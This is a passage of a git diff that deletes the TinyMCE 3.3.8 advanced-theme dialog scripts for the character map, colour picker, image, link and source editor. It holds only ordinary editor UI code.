'&#957;', true, 'nu'], - ['&xi;', '&#958;', true, 'xi'], - ['&omicron;', '&#959;', true, 'omicron'], - ['&pi;', '&#960;', true, 'pi'], - ['&rho;', '&#961;', true, 'rho'], - ['&sigmaf;', '&#962;', true, 'final sigma'], - ['&sigma;', '&#963;', true, 'sigma'], - ['&tau;', '&#964;', true, 'tau'], - ['&upsilon;', '&#965;', true, 'upsilon'], - ['&phi;', '&#966;', true, 'phi'], - ['&chi;', '&#967;', true, 'chi'], - ['&psi;', '&#968;', true, 'psi'], - ['&omega;', '&#969;', true, 'omega'], -// symbols - ['&alefsym;', '&#8501;', false,'alef symbol'], - ['&piv;', '&#982;', false,'pi symbol'], - ['&real;', '&#8476;', false,'real part symbol'], - ['&thetasym;','&#977;', false,'theta symbol'], - ['&upsih;', '&#978;', false,'upsilon - hook symbol'], - ['&weierp;', '&#8472;', false,'Weierstrass p'], - ['&image;', '&#8465;', false,'imaginary part'], -// arrows - ['&larr;', '&#8592;', true, 'leftwards arrow'], - ['&uarr;', '&#8593;', true, 'upwards arrow'], - ['&rarr;', '&#8594;', true, 'rightwards arrow'], - ['&darr;', '&#8595;', true, 'downwards arrow'], - ['&harr;', '&#8596;', true, 'left right arrow'], - ['&crarr;', '&#8629;', false,'carriage return'], - ['&lArr;', '&#8656;', false,'leftwards double arrow'], - ['&uArr;', '&#8657;', false,'upwards double arrow'], - ['&rArr;', '&#8658;', false,'rightwards double arrow'], - ['&dArr;', '&#8659;', false,'downwards double arrow'], - ['&hArr;', '&#8660;', false,'left right double arrow'], - ['&there4;', '&#8756;', false,'therefore'], - ['&sub;', '&#8834;', false,'subset of'], - ['&sup;', '&#8835;', false,'superset of'], - ['&nsub;', '&#8836;', false,'not a subset of'], - ['&sube;', '&#8838;', false,'subset of or equal to'], - ['&supe;', '&#8839;', false,'superset of or equal to'], - ['&oplus;', '&#8853;', false,'circled plus'], - ['&otimes;', '&#8855;', false,'circled times'], - ['&perp;', '&#8869;', false,'perpendicular'], - ['&sdot;', '&#8901;', false,'dot operator'], - ['&lceil;', '&#8968;', false,'left ceiling'], - ['&rceil;', '&#8969;', false,'right ceiling'], - ['&lfloor;', '&#8970;', false,'left floor'], - ['&rfloor;', '&#8971;', false,'right floor'], - ['&lang;', '&#9001;', false,'left-pointing angle bracket'], - ['&rang;', '&#9002;', false,'right-pointing angle bracket'], - ['&loz;', '&#9674;', true,'lozenge'], - ['&spades;', '&#9824;', false,'black spade suit'], - ['&clubs;', '&#9827;', true, 'black club suit'], - ['&hearts;', '&#9829;', true, 'black heart suit'], - ['&diams;', '&#9830;', true, 'black diamond suit'], - ['&ensp;', '&#8194;', false,'en space'], - ['&emsp;', '&#8195;', false,'em space'], - ['&thinsp;', '&#8201;', false,'thin space'], - ['&zwnj;', '&#8204;', false,'zero width non-joiner'], - ['&zwj;', '&#8205;', false,'zero width joiner'], - ['&lrm;', '&#8206;', false,'left-to-right mark'], - ['&rlm;', '&#8207;', false,'right-to-left mark'], - ['&shy;', '&#173;', false,'soft hyphen'] -]; - -tinyMCEPopup.onInit.add(function() { - tinyMCEPopup.dom.setHTML('charmapView', renderCharMapHTML()); -}); - -function renderCharMapHTML() { - var charsPerRow = 20, tdWidth=20, tdHeight=20, i; - var html = '<table border="0" cellspacing="1" cellpadding="0" width="' + (tdWidth*charsPerRow) + '"><tr height="' + tdHeight + '">'; - var cols=-1; - - for (i=0; i<charmap.length; i++) { - if (charmap[i][2]==true) { - cols++; - html += '' - + '<td class="charmap">' - + '<a onmouseover="previewChar(\'' + charmap[i][1].substring(1,charmap[i][1].length) + '\',\'' + charmap[i][0].substring(1,charmap[i][0].length) + '\',\'' + charmap[i][3] + '\');" onfocus="previewChar(\'' + charmap[i][1].substring(1,charmap[i][1].length) + '\',\'' + charmap[i][0].substring(1,charmap[i][0].length) + '\',\'' + charmap[i][3] + '\');" href="javascript:void(0)" onclick="insertChar(\'' + charmap[i][1].substring(2,charmap[i][1].length-1) + '\');" onclick="return false;" onmousedown="return false;" title="' + charmap[i][3] + '">' - + charmap[i][1] - + '</a></td>'; - if ((cols+1) % charsPerRow == 0) - html += '</tr><tr height="' + tdHeight + '">'; - } - } - - if (cols % charsPerRow > 0) { - var padd = charsPerRow - (cols % charsPerRow); - for (var i=0; i<padd-1; i++) - html += '<td width="' + tdWidth + '" height="' + tdHeight + '" class="charmap">&nbsp;</td>'; - } - - html += '</tr></table>'; - - return html; -} - -function insertChar(chr) { - tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';'); - - // Refocus in window - if (tinyMCEPopup.isWindow) - window.focus(); - - tinyMCEPopup.editor.focus(); - tinyMCEPopup.close(); -} - -function previewChar(codeA, codeB, codeN) { - var elmA = document.getElementById('codeA'); - var elmB = document.getElementById('codeB'); - var elmV = document.getElementById('codeV'); - var elmN = document.getElementById('codeN'); - - if (codeA=='#160;') { - elmV.innerHTML = '__'; - } else { - elmV.innerHTML = '&' + codeA; - } - - elmB.innerHTML = '&amp;' + codeA; - elmA.innerHTML = '&amp;' + codeB; - elmN.innerHTML = codeN; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/color_picker.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/color_picker.js deleted file mode 100644 index fd9700f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/color_picker.js +++ /dev/null @@ -1,253 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false; - -var colors = [ - "#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033", - "#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099", - "#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff", - "#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033", - "#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399", - "#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff", - "#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333", - "#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399", - "#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff", - "#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633", - "#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699", - "#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff", - "#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633", - "#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999", - "#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff", - "#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933", - "#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999", - "#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff", - "#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33", - "#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99", - "#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff", - "#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33", - "#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99", - "#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff", - "#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33", - "#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99", - "#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff" -]; - -var named = { - '#F0F8FF':'AliceBlue','#FAEBD7':'AntiqueWhite','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige', - '#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'BlanchedAlmond','#0000FF':'Blue','#8A2BE2':'BlueViolet','#A52A2A':'Brown', - '#DEB887':'BurlyWood','#5F9EA0':'CadetBlue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'CornflowerBlue', - '#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'DarkBlue','#008B8B':'DarkCyan','#B8860B':'DarkGoldenRod', - '#A9A9A9':'DarkGray','#A9A9A9':'DarkGrey','#006400':'DarkGreen','#BDB76B':'DarkKhaki','#8B008B':'DarkMagenta','#556B2F':'DarkOliveGreen', - '#FF8C00':'Darkorange','#9932CC':'DarkOrchid','#8B0000':'DarkRed','#E9967A':'DarkSalmon','#8FBC8F':'DarkSeaGreen','#483D8B':'DarkSlateBlue', - '#2F4F4F':'DarkSlateGray','#2F4F4F':'DarkSlateGrey','#00CED1':'DarkTurquoise','#9400D3':'DarkViolet','#FF1493':'DeepPink','#00BFFF':'DeepSkyBlue', - '#696969':'DimGray','#696969':'DimGrey','#1E90FF':'DodgerBlue','#B22222':'FireBrick','#FFFAF0':'FloralWhite','#228B22':'ForestGreen', - '#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'GhostWhite','#FFD700':'Gold','#DAA520':'GoldenRod','#808080':'Gray','#808080':'Grey', - '#008000':'Green','#ADFF2F':'GreenYellow','#F0FFF0':'HoneyDew','#FF69B4':'HotPink','#CD5C5C':'IndianRed','#4B0082':'Indigo','#FFFFF0':'Ivory', - '#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'LavenderBlush','#7CFC00':'LawnGreen','#FFFACD':'LemonChiffon','#ADD8E6':'LightBlue', - '#F08080':'LightCoral','#E0FFFF':'LightCyan','#FAFAD2':'LightGoldenRodYellow','#D3D3D3':'LightGray','#D3D3D3':'LightGrey','#90EE90':'LightGreen', - '#FFB6C1':'LightPink','#FFA07A':'LightSalmon','#20B2AA':'LightSeaGreen','#87CEFA':'LightSkyBlue','#778899':'LightSlateGray','#778899':'LightSlateGrey', - '#B0C4DE':'LightSteelBlue','#FFFFE0':'LightYellow','#00FF00':'Lime','#32CD32':'LimeGreen','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon', - '#66CDAA':'MediumAquaMarine','#0000CD':'MediumBlue','#BA55D3':'MediumOrchid','#9370D8':'MediumPurple','#3CB371':'MediumSeaGreen','#7B68EE':'MediumSlateBlue', - '#00FA9A':'MediumSpringGreen','#48D1CC':'MediumTurquoise','#C71585':'MediumVioletRed','#191970':'MidnightBlue','#F5FFFA':'MintCream','#FFE4E1':'MistyRose','#FFE4B5':'Moccasin', - '#FFDEAD':'NavajoWhite','#000080':'Navy','#FDF5E6':'OldLace','#808000':'Olive','#6B8E23':'OliveDrab','#FFA500':'Orange','#FF4500':'OrangeRed','#DA70D6':'Orchid', - '#EEE8AA':'PaleGoldenRod','#98FB98':'PaleGreen','#AFEEEE':'PaleTurquoise','#D87093':'PaleVioletRed','#FFEFD5':'PapayaWhip','#FFDAB9':'PeachPuff', - '#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'PowderBlue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'RosyBrown','#4169E1':'RoyalBlue', - '#8B4513':'SaddleBrown','#FA8072':'Salmon','#F4A460':'SandyBrown','#2E8B57':'SeaGreen','#FFF5EE':'SeaShell','#A0522D':'Sienna','#C0C0C0':'Silver', - '#87CEEB':'SkyBlue','#6A5ACD':'SlateBlue','#708090':'SlateGray','#708090':'SlateGrey','#FFFAFA':'Snow','#00FF7F':'SpringGreen', - '#4682B4':'SteelBlue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet', - '#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'WhiteSmoke','#FFFF00':'Yellow','#9ACD32':'YellowGreen' -}; - -function init() { - var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')); - - tinyMCEPopup.resizeToInnerSize(); - - generatePicker(); - - if (inputColor) { - changeFinalColor(inputColor); - - col = convertHexToRGB(inputColor); - - if (col) - updateLight(col.r, col.g, col.b); - } -} - -function insertAction() { - var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func'); - - tinyMCEPopup.restoreSelection(); - - if (f) - f(color); - - tinyMCEPopup.close(); -} - -function showColor(color, name) { - if (name) - document.getElementById("colorname").innerHTML = name; - - document.getElementById("preview").style.backgroundColor = color; - document.getElementById("color").value = color.toLowerCase(); -} - -function convertRGBToHex(col) { - var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); - - if (!col) - return col; - - var rgb = col.replace(re, "$1,$2,$3").split(','); - if (rgb.length == 3) { - r = parseInt(rgb[0]).toString(16); - g = parseInt(rgb[1]).toString(16); - b = parseInt(rgb[2]).toString(16); - - r = r.length == 1 ? '0' + r : r; - g = g.length == 1 ? '0' + g : g; - b = b.length == 1 ? '0' + b : b; - - return "#" + r + g + b; - } - - return col; -} - -function convertHexToRGB(col) { - if (col.indexOf('#') != -1) { - col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); - - r = parseInt(col.substring(0, 2), 16); - g = parseInt(col.substring(2, 4), 16); - b = parseInt(col.substring(4, 6), 16); - - return {r : r, g : g, b : b}; - } - - return null; -} - -function generatePicker() { - var el = document.getElementById('light'), h = '', i; - - for (i = 0; i < detail; i++){ - h += '<div id="gs'+i+'" style="background-color:#000000; width:15px; height:3px; border-style:none; border-width:0px;"' - + ' onclick="changeFinalColor(this.style.backgroundColor)"' - + ' onmousedown="isMouseDown = true; return false;"' - + ' onmouseup="isMouseDown = false;"' - + ' onmousemove="if (isMouseDown && isMouseOver) changeFinalColor(this.style.backgroundColor); return false;"' - + ' onmouseover="isMouseOver = true;"' - + ' onmouseout="isMouseOver = false;"' - + '></div>'; - } - - el.innerHTML = h; -} - -function generateWebColors() { - var el = document.getElementById('webcolors'), h = '', i; - - if (el.className == 'generated') - return; - - h += '<table border="0" cellspacing="1" cellpadding="0">' - + '<tr>'; - - for (i=0; i<colors.length; i++) { - h += '<td bgcolor="' + colors[i] + '" width="10" height="10">' - + '<a href="javascript:insertAction();" onfocus="showColor(\'' + colors[i] + '\');" onmouseover="showColor(\'' + colors[i] + '\');" style="display:block;width:10px;height:10px;overflow:hidden;">' - + '</a></td>'; - if ((i+1) % 18 == 0) - h += '</tr><tr>'; - } - - h += '</table>'; - - el.innerHTML = h; - el.className = 'generated'; -} - -function generateNamedColors() { - var el = document.getElementById('namedcolors'), h = '', n, v, i = 0; - - if (el.className == 'generated') - return; - - for (n in named) { - v = named[n]; - h += '<a href="javascript:insertAction();" onmouseover="showColor(\'' + n + '\',\'' + v + '\');" style="background-color: ' + n + '"><!-- IE --></a>' - } - - el.innerHTML = h; - el.className = 'generated'; -} - -function dechex(n) { - return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16); -} - -function computeColor(e) { - var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB; - - x = e.offsetX ? e.offsetX : (e.target ? e.clientX - e.target.x : 0); - y = e.offsetY ? e.offsetY : (e.target ? e.clientY - e.target.y : 0); - - partWidth = document.getElementById('colors').width / 6; - partDetail = detail / 2; - imHeight = document.getElementById('colors').height; - - r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255; - g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth); - b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth); - - coef = (imHeight - y) / imHeight; - r = 128 + (r - 128) * coef; - g = 128 + (g - 128) * coef; - b = 128 + (b - 128) * coef; - - changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b)); - updateLight(r, g, b); -} - -function updateLight(r, g, b) { - var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color; - - for (i=0; i<detail; i++) { - if ((i>=0) && (i<partDetail)) { - finalCoef = i / partDetail; - finalR = dechex(255 - (255 - r) * finalCoef); - finalG = dechex(255 - (255 - g) * finalCoef); - finalB = dechex(255 - (255 - b) * finalCoef); - } else { - finalCoef = 2 - i / partDetail; - finalR = dechex(r * finalCoef); - finalG = dechex(g * finalCoef); - finalB = dechex(b * finalCoef); - } - - color = finalR + finalG + finalB; - - setCol('gs' + i, '#'+color); - } -} - -function changeFinalColor(color) { - if (color.indexOf('#') == -1) - color = convertRGBToHex(color); - - setCol('preview', color); - document.getElementById('color').value = color; -} - -function setCol(e, c) { - try { - document.getElementById(e).style.backgroundColor = c; - } catch (ex) { - // Ignore IE warning - } -} - -tinyMCEPopup.onInit.add(init); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/image.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/image.js deleted file mode 100644 index 6423d90..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/image.js +++ /dev/null @@ -1,245 +0,0 @@ -var ImageDialog = { - preInit : function() { - var url; - - tinyMCEPopup.requireLangPack(); - - if (url = tinyMCEPopup.getParam("external_image_list_url")) - document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); - }, - - init : function() { - var f = document.forms[0], ed = tinyMCEPopup.editor; - - // Setup browse button - document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); - if (isVisible('srcbrowser')) - document.getElementById('src').style.width = '180px'; - - e = ed.selection.getNode(); - - this.fillFileList('image_list', 'tinyMCEImageList'); - - if (e.nodeName == 'IMG') { - f.src.value = ed.dom.getAttrib(e, 'src'); - f.alt.value = ed.dom.getAttrib(e, 'alt'); - f.border.value = this.getAttrib(e, 'border'); - f.vspace.value = this.getAttrib(e, 'vspace'); - f.hspace.value = this.getAttrib(e, 'hspace'); - f.width.value = ed.dom.getAttrib(e, 'width'); - f.height.value = ed.dom.getAttrib(e, 'height'); - f.insert.value = ed.getLang('update'); - this.styleVal = ed.dom.getAttrib(e, 'style'); - selectByValue(f, 'image_list', f.src.value); - selectByValue(f, 'align', this.getAttrib(e, 'align')); - this.updateStyle(); - } - }, - - fillFileList : function(id, l) { - var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; - - l = window[l]; - - if (l && l.length > 0) { - lst.options[lst.options.length] = new Option('', ''); - - tinymce.each(l, function(o) { - lst.options[lst.options.length] = new Option(o[0], o[1]); - }); - } else - dom.remove(dom.getParent(id, 'tr')); - }, - - update : function() { - var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el; - - tinyMCEPopup.restoreSelection(); - - if (f.src.value === '') { - if (ed.selection.getNode().nodeName == 'IMG') { - ed.dom.remove(ed.selection.getNode()); - ed.execCommand('mceRepaint'); - } - - tinyMCEPopup.close(); - return; - } - - if (!ed.settings.inline_styles) { - args = tinymce.extend(args, { - vspace : nl.vspace.value, - hspace : nl.hspace.value, - border : nl.border.value, - align : getSelectValue(f, 'align') - }); - } else - args.style = this.styleVal; - - tinymce.extend(args, { - src : f.src.value, - alt : f.alt.value, - width : f.width.value, - height : f.height.value - }); - - el = ed.selection.getNode(); - - if (el && el.nodeName == 'IMG') { - ed.dom.setAttribs(el, args); - } else { - ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" />', {skip_undo : 1}); - ed.dom.setAttribs('__mce_tmp', args); - ed.dom.setAttrib('__mce_tmp', 'id', ''); - ed.undoManager.add(); - } - - tinyMCEPopup.close(); - }, - - updateStyle : function() { - var dom = tinyMCEPopup.dom, st, v, f = document.forms[0]; - - if (tinyMCEPopup.editor.settings.inline_styles) { - st = tinyMCEPopup.dom.parseStyle(this.styleVal); - - // Handle align - v = getSelectValue(f, 'align'); - if (v) { - if (v == 'left' || v == 'right') { - st['float'] = v; - delete st['vertical-align']; - } else { - st['vertical-align'] = v; - delete st['float']; - } - } else { - delete st['float']; - delete st['vertical-align']; - } - - // Handle border - v = f.border.value; - if (v || v == '0') { - if (v == '0') - st['border'] = '0'; - else - st['border'] = v + 'px solid black'; - } else - delete st['border']; - - // Handle hspace - v = f.hspace.value; - if (v) { - delete st['margin']; - st['margin-left'] = v + 'px'; - st['margin-right'] = v + 'px'; - } else { - delete st['margin-left']; - delete st['margin-right']; - } - - // Handle vspace - v = f.vspace.value; - if (v) { - delete st['margin']; - st['margin-top'] = v + 'px'; - st['margin-bottom'] = v + 'px'; - } else { - delete st['margin-top']; - delete st['margin-bottom']; - } - - // Merge - st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st), 'img'); - this.styleVal = dom.serializeStyle(st, 'img'); - } - }, - - getAttrib : function(e, at) { - var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; - - if (ed.settings.inline_styles) { - switch (at) { - case 'align': - if (v = dom.getStyle(e, 'float')) - return v; - - if (v = dom.getStyle(e, 'vertical-align')) - return v; - - break; - - case 'hspace': - v = dom.getStyle(e, 'margin-left') - v2 = dom.getStyle(e, 'margin-right'); - if (v && v == v2) - return parseInt(v.replace(/[^0-9]/g, '')); - - break; - - case 'vspace': - v = dom.getStyle(e, 'margin-top') - v2 = dom.getStyle(e, 'margin-bottom'); - if (v && v == v2) - return parseInt(v.replace(/[^0-9]/g, '')); - - break; - - case 'border': - v = 0; - - tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { - sv = dom.getStyle(e, 'border-' + sv + '-width'); - - // False or not the same as prev - if (!sv || (sv != v && v !== 0)) { - v = 0; - return false; - } - - if (sv) - v = sv; - }); - - if (v) - return parseInt(v.replace(/[^0-9]/g, '')); - - break; - } - } - - if (v = dom.getAttrib(e, at)) - return v; - - return ''; - }, - - resetImageData : function() { - var f = document.forms[0]; - - f.width.value = f.height.value = ""; - }, - - updateImageData : function() { - var f = document.forms[0], t = ImageDialog; - - if (f.width.value == "") - f.width.value = t.preloadImg.width; - - if (f.height.value == "") - f.height.value = t.preloadImg.height; - }, - - getImageData : function() { - var f = document.forms[0]; - - this.preloadImg = new Image(); - this.preloadImg.onload = this.updateImageData; - this.preloadImg.onerror = this.resetImageData; - this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value); - } -}; - -ImageDialog.preInit(); -tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/link.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/link.js deleted file mode 100644 index f67a5bc..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/link.js +++ /dev/null @@ -1,156 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var LinkDialog = { - preInit : function() { - var url; - - if (url = tinyMCEPopup.getParam("external_link_list_url")) - document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); - }, - - init : function() { - var f = document.forms[0], ed = tinyMCEPopup.editor; - - // Setup browse button - document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); - if (isVisible('hrefbrowser')) - document.getElementById('href').style.width = '180px'; - - this.fillClassList('class_list'); - this.fillFileList('link_list', 'tinyMCELinkList'); - this.fillTargetList('target_list'); - - if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { - f.href.value = ed.dom.getAttrib(e, 'href'); - f.linktitle.value = ed.dom.getAttrib(e, 'title'); - f.insert.value = ed.getLang('update'); - selectByValue(f, 'link_list', f.href.value); - selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); - selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); - } - }, - - update : function() { - var f = document.forms[0], ed = tinyMCEPopup.editor, e, b; - - tinyMCEPopup.restoreSelection(); - e = ed.dom.getParent(ed.selection.getNode(), 'A'); - - // Remove element if there is no href - if (!f.href.value) { - if (e) { - tinyMCEPopup.execCommand("mceBeginUndoLevel"); - b = ed.selection.getBookmark(); - ed.dom.remove(e, 1); - ed.selection.moveToBookmark(b); - tinyMCEPopup.execCommand("mceEndUndoLevel"); - tinyMCEPopup.close(); - return; - } - } - - tinyMCEPopup.execCommand("mceBeginUndoLevel"); - - // Create new anchor elements - if (e == null) { - ed.getDoc().execCommand("unlink", false, null); - tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1}); - - tinymce.each(ed.dom.select("a"), function(n) { - if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { - e = n; - - ed.dom.setAttribs(e, { - href : f.href.value, - title : f.linktitle.value, - target : f.target_list ? getSelectValue(f, "target_list") : null, - 'class' : f.class_list ? getSelectValue(f, "class_list") : null - }); - } - }); - } else { - ed.dom.setAttribs(e, { - href : f.href.value, - title : f.linktitle.value, - target : f.target_list ? getSelectValue(f, "target_list") : null, - 'class' : f.class_list ? getSelectValue(f, "class_list") : null - }); - } - - // Don't move caret if selection was image - if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') { - ed.focus(); - ed.selection.select(e); - ed.selection.collapse(0); - tinyMCEPopup.storeSelection(); - } - - tinyMCEPopup.execCommand("mceEndUndoLevel"); - tinyMCEPopup.close(); - }, - - checkPrefix : function(n) { - if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) - n.value = 'mailto:' + n.value; - - if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) - n.value = 'http://' + n.value; - }, - - fillFileList : function(id, l) { - var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; - - l = window[l]; - - if (l && l.length > 0) { - lst.options[lst.options.length] = new Option('', ''); - - tinymce.each(l, function(o) { - lst.options[lst.options.length] = new Option(o[0], o[1]); - }); - } else - dom.remove(dom.getParent(id, 'tr')); - }, - - fillClassList : function(id) { - var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; - - if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { - cl = []; - - tinymce.each(v.split(';'), function(v) { - var p = v.split('='); - - cl.push({'title' : p[0], 'class' : p[1]}); - }); - } else - cl = tinyMCEPopup.editor.dom.getClasses(); - - if (cl.length > 0) { - lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); - - tinymce.each(cl, function(o) { - lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); - }); - } else - dom.remove(dom.getParent(id, 'tr')); - }, - - fillTargetList : function(id) { - var dom = tinyMCEPopup.dom, lst = dom.get(id), v; - - lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); - lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); - lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); - - if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { - tinymce.each(v.split(','), function(v) { - v = v.split('='); - lst.options[lst.options.length] = new Option(v[0], v[1]); - }); - } - } -}; - -LinkDialog.preInit(); -tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/source_editor.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/source_editor.js deleted file mode 100644 index 2793286..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/js/source_editor.js +++ /dev/null @@ -1,62 +0,0 @@ -tinyMCEPopup.requireLangPack(); -tinyMCEPopup.onInit.add(onLoadInit); - -function saveContent() { - tinyMCEPopup.editor.setContent(document.getElementById('htmlSource').value, {source_view : true}); - tinyMCEPopup.close(); -} - -function onLoadInit() { - tinyMCEPopup.resizeToInnerSize(); - - // Remove Gecko spellchecking - if (tinymce.isGecko) - document.body.spellcheck = tinyMCEPopup.editor.getParam("gecko_spellcheck"); - - document.getElementById('htmlSource').value = tinyMCEPopup.editor.getContent({source_view : true}); - - if (tinyMCEPopup.editor.getParam("theme_advanced_source_editor_wrap", true)) { - setWrap('soft'); - document.getElementById('wraped').checked = true; - } - - resizeInputs(); -} - -function setWrap(val) { - var v, n, s = document.getElementById('htmlSource'); - - s.wrap = val; - - if (!tinymce.isIE) { - v = s.value; - n = s.cloneNode(false); - n.setAttribute("wrap", val); - s.parentNode.replaceChild(n, s); - n.value = v; - } -} - -function toggleWordWrap(elm) { - if (elm.checked) - setWrap('soft'); - else - setWrap('off'); -} - -var wHeight=0, wWidth=0, owHeight=0, owWidth=0; - -function resizeInputs() { - var el = document.getElementById('htmlSource'); - - if (!tinymce.isIE) { - wHeight = self.innerHeight - 65; - wWidth = self.innerWidth - 16; - } else { - wHeight = document.body.clientHeight - 